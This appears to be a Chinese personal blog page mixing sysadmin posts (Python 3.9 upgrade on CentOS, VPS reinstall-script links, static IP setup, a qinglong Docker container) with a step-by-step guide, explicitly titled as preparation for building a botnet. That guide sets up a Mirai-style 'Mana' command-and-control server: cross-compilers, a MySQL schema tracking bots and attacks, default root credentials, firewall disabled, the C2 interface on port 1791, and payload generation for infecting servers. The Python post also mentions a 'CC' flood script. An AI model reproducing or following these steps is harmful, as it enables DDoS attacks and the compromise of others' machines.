loe 发布的文章

Centos8-默认的Python版本为3.6,不符合项目的需求。现在升级到3.9

今天玩一个CC脚本必须支持3.9

下载Python3.9.9

wget https://www.python.org/ftp/python/3.9.9/Python-3.9.9.tgz

1655436876492.png

tar zxvf Python-3.9.9.tgz

安装必须的包

dnf -y install gcc zlib* libffi-devel
cd Python-3.9.9/
./configure --prefix=/usr/local/python3 --enable-optimizations
make
make install

删除原先的Python3和pip3

rm -rf /usr/bin/python3
ln -s /usr/local/python3/bin/python3 /usr/bin/python3
rm -rf /usr/bin/pip3
ln -s /usr/local/python3/bin/pip3 /usr/bin/pip3

查看Python3和Pip3是否正确的被安装:

python3 --version

pip3 --version

1655436946486.png
如上图说明升级成功

========================= 脚本 =========================

一键DD系统脚本 支持国内小鸡,常年更新
https://blockxyz.notion.site/DD-fb837703b3ac4011bb2362e3a56ac148

  1. 萌咖 http://moeclub.org/ dd脚本知名度最高的之一,作者博客已经关闭很久了,但是
    https://github.com/MoeClub/Note还在,还有 https://moeclub.org/attachment/LinuxShell/ 可以访问。
  2. CXT https://github.com/MeowLove/Network-Reinstall-System-Modify
    这个脚本也不戳,有一个好处就是支持centos高版本的,两者脚本都比较简单,两步就可以搞定
  3. https://git.beta.gs/ 是多合一的,据说非常适合国内机器
  4. InstallOS
    DD Linux systems on VPS with support for Debian 9, 10, 11 and Ubuntu 18.04, 20.04.
    https://github.com/yeahwu/InstallOS
    wget https://raw.githubusercontent.com/yeahwu/InstallOS/main/InstallOS.sh && bash InstallOS.sh
    复制代码
  5. 五个实用的VPS主机一键重装系统工具一键DD安装Linux和Windows
    https://wzfou.com/5-vps-chongzhuang/

一、一键重装AutoReinstall.sh
项目:https://github.com/hiCasper/Shell

二、CXTHHHHH重装脚本
项目:https://github.com/MeowLove/Network-Reinstall-System-Modify

三、94ish一键网络重装系统
项目:https://github.com/chiakge/installNET

四、一键网络重装脚本集合
项目:https://github.com/veip007/dd

五、MoeClub一键重装脚本
作者:https://moeclub.org/
备份:https://github.com/freehao123/dd

MoeClub一键重装脚本是上面四个脚本的核心,上面的优化版和修改版都是基于MoeClub一键重装脚本而来的

MoeClub.org萌咖一键网络重装支持 Oracle/甲骨文/亚马逊Amazon
https://www.geekn.net/25.html
1.本脚本为MoeClub.org萌咖大佬制作,仅作转发和本人自定义修改,不涉及任何商业用途。
原作者地址: https://moeclub.org/2018/04/03/603/

========================= 镜像 =========================
http://vps0.net/

https://536000.xyz/

https://www.ddpan.com/

https://dd.1234234.xyz/

秋水逸冰 Windows 2012/2016/2019/2022 10/11 DD 镜像

适用于 UEFI 启动的多个 Windows 系统 DD 镜像
https://teddysun.com/656.html
分别是:

  1. Windows Server 2012 R2 Datacenter
  2. Windows Server 2016 Datacenter (build: 14393.5006)
  3. Windows Server 2019 Datacenter (build: 17763.2686)
  4. Windows Server 2022 Datacenter (build: 20348.587)
  5. Windows 10 Enterprise LTSC (build: 19044.1288)
  6. Windows 11 Pro for Workstations 21H2 (build: 22000.194)

适用于 BIOS 启动的 Windows Server 2022 Datacenter DD 镜像
https://teddysun.com/629.html

适用于 BIOS 启动的 Windows 11 Pro for Workstations 21H2 DD 镜像
https://teddysun.com/642.html

适用于 BIOS 启动的 Windows 10 Enterprise LTSC DD 镜像
https://teddysun.com/640.html

适用于 BIOS 启动的 Windows Server 2019/2016/2012R2 Datacenter DD 镜像
https://teddysun.com/545.html
分别是:

  1. Windows Server 2019 Datacenter(Build: 17763.2686)
  2. Windows Server 2016 Datacenter(Build: 14393.5006)
  3. Windows Server 2012 R2 Datacenter

nat.ee大佬DD包
https://cfyes.ga/

==========================================================

            搭建僵尸网络前准备
  1. 最低2核CPU,8G内存,1G口,支持扫表
  2. 安装Linux Linux Centos 6.5 64位
  3. 下载MobaXterm (https://mobaxterm.mobatek.net/download.html)
  4. 下载putty(https://www.chiark.greenend.org.uk/~sgtatham/putty/)
  5. 准备JS压缩包
  6. 准备僵尸列表

==========================================================

  1. 使用MobaXterm,SSH连接服务器

输入下面######中的命令
yum update -y
yum install epel-release -y
yum groupinstall "Development Tools" -y
yum install gmp-devel -y
yum install screen wget bzip2 gcc nano gcc-c++ electric-fence sudo git libc6-dev httpd xinetd tftpd tftp-server mysql mysql-server gcc glibc-static -y
ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10
wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm
rpm -ivh mysql-community-release-el7-5.noarch.rpm
yum install mysql-server -y


mkdir /etc/xcompile
cd /etc/xcompile
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 --no-check-certificate
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 --no-check-certificate
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 --no-check-certificate
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 --no-check-certificate
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 --no-check-certificate
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 --no-check-certificate
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 --no-check-certificate
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 --no-check-certificate
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2 --no-check-certificate
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2 --no-check-certificate
wget https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2 --no-check-certificate
tar -jxf cross-compiler-i586.tar.bz2
tar -jxf cross-compiler-m68k.tar.bz2
tar -jxf cross-compiler-mips.tar.bz2
tar -jxf cross-compiler-mipsel.tar.bz2
tar -jxf cross-compiler-powerpc.tar.bz2
tar -jxf cross-compiler-sh4.tar.bz2
tar -jxf cross-compiler-sparc.tar.bz2
tar -jxf cross-compiler-armv4l.tar.bz2
tar -jxf cross-compiler-armv5l.tar.bz2
tar -jxf cross-compiler-armv6l.tar.bz2
tar -jxf cross-compiler-armv7l.tar.bz2
rm -rf *.tar.bz2
mv cross-compiler-i586 i586
mv cross-compiler-m68k m68k
mv cross-compiler-mips mips
mv cross-compiler-mipsel mipsel
mv cross-compiler-powerpc powerpc
mv cross-compiler-sh4 sh4
mv cross-compiler-sparc sparc
mv cross-compiler-armv4l armv4l
mv cross-compiler-armv5l armv5l
mv cross-compiler-armv6l armv6l
mv cross-compiler-armv7l armv7l
cd /tmp
wget https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz --no-check-certificate
tar -xvf go1.13.5.linux-amd64.tar.gz
mv go /usr/local
export GOROOT=/usr/local/go
export GOPATH=$HOME/Projects/Proj1
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
go version
go env
cd ~/
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords

【以上是第一步命令】
  1. 修改完成后,将所有文件全选,拖进MobaXterm,你服务器的/root文件夹中

4.输入下面#####中的命令

service mysqld start
mysql_secure_installation #默认密码是空

5.输入下面#####中的命令

mysql -u root -proot
输入密码

6.输入下面#####中的命令

【6.复制以下命令】

use mysql
GRANT ALL ON . to root@'%' IDENTIFIED BY 'root';
FLUSH PRIVILEGES;

CREATE DATABASE Mana;
use Mana;
CREATE TABLE history (
id int(10) unsigned NOT NULL AUTO_INCREMENT,
user_id int(10) unsigned NOT NULL,
time_sent int(10) unsigned NOT NULL,
duration int(10) unsigned NOT NULL,
command text NOT NULL,
max_bots int(11) DEFAULT '-1',
PRIMARY KEY (id),
KEY user_id (user_id)
);

CREATE TABLE users (
id int(10) unsigned NOT NULL AUTO_INCREMENT,
username varchar(32) NOT NULL,
password varchar(32) NOT NULL,
duration_limit int(10) unsigned DEFAULT NULL,
cooldown int(10) unsigned NOT NULL,
wrc int(10) unsigned DEFAULT NULL,
last_paid int(10) unsigned NOT NULL,
max_bots int(11) DEFAULT '-1',
admin int(10) unsigned DEFAULT '0',
intvl int(10) unsigned DEFAULT '30',
api_key text,
PRIMARY KEY (id),
KEY username (username)
);

CREATE TABLE whitelist (
id int(10) unsigned NOT NULL AUTO_INCREMENT,
prefix varchar(16) DEFAULT NULL,
netmask tinyint(3) unsigned DEFAULT NULL,
PRIMARY KEY (id),
KEY prefix (prefix)
);
INSERT INTO users VALUES (NULL, 'root', 'root', 0, 0, 0, 0, -1, 1, 30, '');

CREATE TABLE logins (
id int(11) NOT NULL,
username varchar(32) NOT NULL,
action varchar(32) NOT NULL,
ip varchar(15) NOT NULL,
timestamp timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
exit;

【以上是第六步命令】
  1. 输入下面#####中的命令

    service iptables stop
    service httpd restart
    service mysqld restart

  2. 输入下面#####中的命令

    cd ~/
    chmod 0777 * -R
    sh build.sh

  3. 输入下面#####中的命令

    nano /usr/include/bits/typesizes.h

    下滑鼠标找到 “1024” 改写成 “999999”
    按CTRL+X,再按Y保存,再按回车键返回命令

  4. 输入下面#####中的命令

    screen ./ui

    输入后,会黑屏,出现高亮显示字体,按CTRL+A +D
    显示[detached]
    说明设置成功

  1. 运行putty,输入IP+端口1791 ,选择Raw, 打开
    输入long 回车
    输入登录账号和密码

python ManaPayload.py

复制Payload: 后面所有指令粘贴到你新的服务器上

有关于centos7获取IP地址的方法主要有两种,1:动态获取ip;2:设置静态IP地址

在配置网络之前我们先要知道centos的网卡名称是什么,centos7不再使用ifconfig命令,可通过命令 IP addr查看,如图,网卡名为ens32,是没有IP地址的

1653385999937.png

1、动态获取ip(前提是你的路由器已经开启了DHCP)

修改网卡配置文件 vi /etc/sysconfig/network-scripts/ifcfg-ens32 (最后一个为网卡名称)

动态获取IP地址需要修改两处地方即可

(1)bootproto=dhcp

(2)onboot=yes

1653386031646.jpeg

nmcli c reload -重启网卡

nmcli d connect bond0//网卡名 -立即生效,刷新网卡活跃

修改后重启一下网络服务即可。

这样动态配置IP地址就设置好了,这个时候再查看一下ip addr 就可以看到已经获取了IP地址,且可以上网(ping 百度)

1653386144978.png

2、配置静态IP地址

设置静态IP地址与动态iIP差不多,也是要修改网卡配置文件 vi /etc/sysconfig/network-scripts/ifcfg-ens32 (最后一个为网卡名称)

(1)bootproto=static

(2)onboot=yes

(3)在最后加上几行,IP地址、子网掩码、网关、dns服务器

IPADDR=192.168.1.160
NETMASK=255.255.255.0
GATEWAY=192.168.1.1
DNS1=223.5.5.5
DNS2=223.6.6.6

(4)重启网络服务

nmcli c reload -重启网卡

nmcli d connect bond0//网卡名 -立即生效,刷新网卡活跃

DNS服务器可以只配一个,我用的是两个免费的dns服务器,查看IP地址,测试联网

1653386280578.jpeg

1.先去宝塔安装docker

2.然后登陆ssh拉取qinglong镜像

docker pull whyour/qinglong:latest

3.启动容器

普通服务器

docker run -dit \
-v $PWD/ql/config:/ql/config \
-v $PWD/ql/log:/ql/log \
-v $PWD/ql/db:/ql/db \
-p 5700:5700 \
--name qinglong \
--hostname qinglong \
--restart always \
whyour/qinglong:latest


n1路由器等

docker run -dit \
-v $PWD/ql/config:/ql/config \
-v $PWD/ql/log:/ql/log \
-v $PWD/ql/db:/ql/db \
--net host \
--name qinglong \
--hostname qinglong \
--restart always \
whyour/qinglong:latest